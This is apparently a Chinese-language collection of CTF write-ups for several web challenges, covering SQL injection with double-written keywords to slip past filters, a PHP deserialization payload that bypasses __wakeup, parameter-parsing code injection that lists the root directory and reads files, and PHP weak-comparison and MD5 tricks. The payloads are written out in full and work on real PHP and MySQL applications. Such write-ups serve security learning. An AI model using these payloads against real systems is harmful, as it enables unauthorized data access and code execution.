[極客大挑戰 2019]BabySQL
開啟題目就試了試萬能密碼,是不行的
推測應該做了過濾
我們密碼框輸入1' 1 or '1'='1試試
發現我們的or沒了,union,select,where都被過濾了,應該是被替換成空字元,所以我們可以雙寫繞過
uunionnion sselectelect wwherehere
由於這裡or被過濾了,我們無法用order用判斷欄位數,只能union select(以下注入都在密碼框進行)
1' uunionnion sselectelect 1,2,3#
爆庫名:
1' uunionnion sselectelect 1,2,database()#
爆表名:
1' uunionnion sselectelect 1,2,group_concat(table_name)ffromrom infoorrmation_schema.tables wwherehere table_schema='geek'#
爆列名:
1' uunionnion sselectelect 1,2,group_concat(column_name)ffromrom infoorrmation_schema.columns wwherehere table_schema='geek'aandnd table_name='b4bsql'#
爆資料:
1' uunionnion sselectelect 1,2,group_concat(passwoorrd)ffromrom b4bsql#
[極客大挑戰 2019]PHP
開啟題目告訴我們網站備份了
然後我們應該dirsearch掃後臺,這裡可能是因為平臺的原因,掃不出來的
備份檔案就是 www.zip
我們訪問下載,index.php發現了引數select
然後在class.php這裡看怎麼去反序列化
我們構造就是
new Name::__construct()->new Name::__destruct()
所以我們需要繞過__wakeup()
CTF必看~ PHP反序列化漏洞6:絕妙_wakeup繞過技巧_ctf php 反序列化漏洞-CSDN部落格
攻擊者可以利用這個漏洞來繞過 __wakeup() 函式中的安全檢查,從而執行任意程式碼。攻擊者可以使用 O 型別的序列化字串來建立一個新的物件,並在其中新增任意數量的屬性。然後,攻擊者可以修改序列化字串中屬性的數量,使其比實際屬性數量多。由於 PHP 會忽略多餘的屬性,攻擊者可以繞過 __wakeup() 函式的安全檢查,並執行惡意程式碼。
然後我們開啟php線上(此處列印兩個變數,為了方便比較數量對應的哪個數值)
構造鏈子後因為我們需要繞過__wakeup(),所以我們需要改一下這個數量
給我標記的地方改成三,然後複製URL編碼後的序列化的資料。
payload:
?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D
[ACTF2020 新生賽]BackupFile
就是備份檔案,dirsearch掃描
發現了index.php.bak,下載
在PHP中:= = 為弱相等,即當整數和字串型別相比較時。會先將字串轉化為整數然後再進行比較
所以我們payload:
?key=123
[RoarCTF 2019]Easy Calc
參考:
RoarCTF 2019 - Easy Calc - ch0bits - 部落格園 (cnblogs.com)
RoarCTF 2019]Easy Calc 詳細題解筆記 Writeup_scandir被過濾-CSDN部落格
PHP字串解析特性 ($GET/$POST引數繞過)(含例題 buuctf easycalc)_引數解析 繞過-CSDN部落格
在原始碼裡面找到了一個檔案
我們訪問一下
這裡我也不會了就搜了一下題解
檢視根目錄
?%20num=print_r(scandir(chr(47)));
檢視flag
?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
[極客大挑戰 2019]BuyFlag
來到買flag的地方,看一下原始碼
我們需要post傳參,我burp抓包看一眼
條件就是我需要是cuit的學生,然後才能買,這裡我注意到user=0,我們改成1試試,成功了
那我們就差個money還有password
password就用字串繞過
POST的內容如下:
password=404a&money=1000000000
他說錢長度太多了,那我們就科學計數法
password=404a&money=1e9
[BJDCTF2020]Easy MD5
參考:
[BJDCTF2020]Easy MD5(詳細)-CSDN部落格
總結ctf中 MD5 繞過的一些思路_ctf md5-CSDN部落格
這裡開啟題目,就個輸入框,啥也沒有
我這裡也挺傻逼,我抓包也沒看到hint,看wp才看到
然後意思就是後面需要真值,然後才行
答案就是需要傳
ffifdyop
然後跳到新介面,然後檢視原始碼,md5弱比較
直接傳
a=QNKCDZO&b=240610708
又跳了一個介面,程式碼如下:
這次是===是強比較,型別,數值都得比較,那我們就陣列繞過
param1[]=1¶m2[]=2